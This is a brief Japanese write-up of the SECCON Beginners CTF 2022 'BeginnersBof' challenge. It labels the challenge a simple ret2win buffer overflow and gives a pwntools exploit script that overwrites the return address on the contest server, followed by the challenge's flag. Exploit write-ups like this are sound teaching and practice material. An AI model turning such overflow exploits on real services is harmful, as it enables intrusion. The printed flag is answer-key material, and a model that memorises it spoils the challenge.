メインコンテンツまでスキップ
非公開のページ
このページは非公開です。 検索対象外となり、このページのリンクに直接アクセスできるユーザーのみに公開されます。

[SECCON Beginners CTF 2022] BeginnersBof

metarin

Pwnってこういうのだけじゃないらしいですが,多分これだけでもできればすごいと思います.

実行ファイルchallとそのソースコードsrc.cが配布される。

ソースを見る限り典型的なret2winなのでやる。 おわり

#!python
from pwn import *

target = 'chall'
elf = ELF(target)

local = 0
debug = 0

if local:
io = process(target)
if debug:
gdb.attach(io)
else:
io = remote('beginnersbof.quals.beginners.seccon.jp', 9000)

io.sendlineafter('?', b'100')

payload = b'A'*40
payload += p64(0x4011e6)

io.sendlineafter('?', payload)

io.readline()
print(io.read())
print(io.read())

ctf4b{Y0u_4r3_4lr34dy_4_BOF_M45t3r!}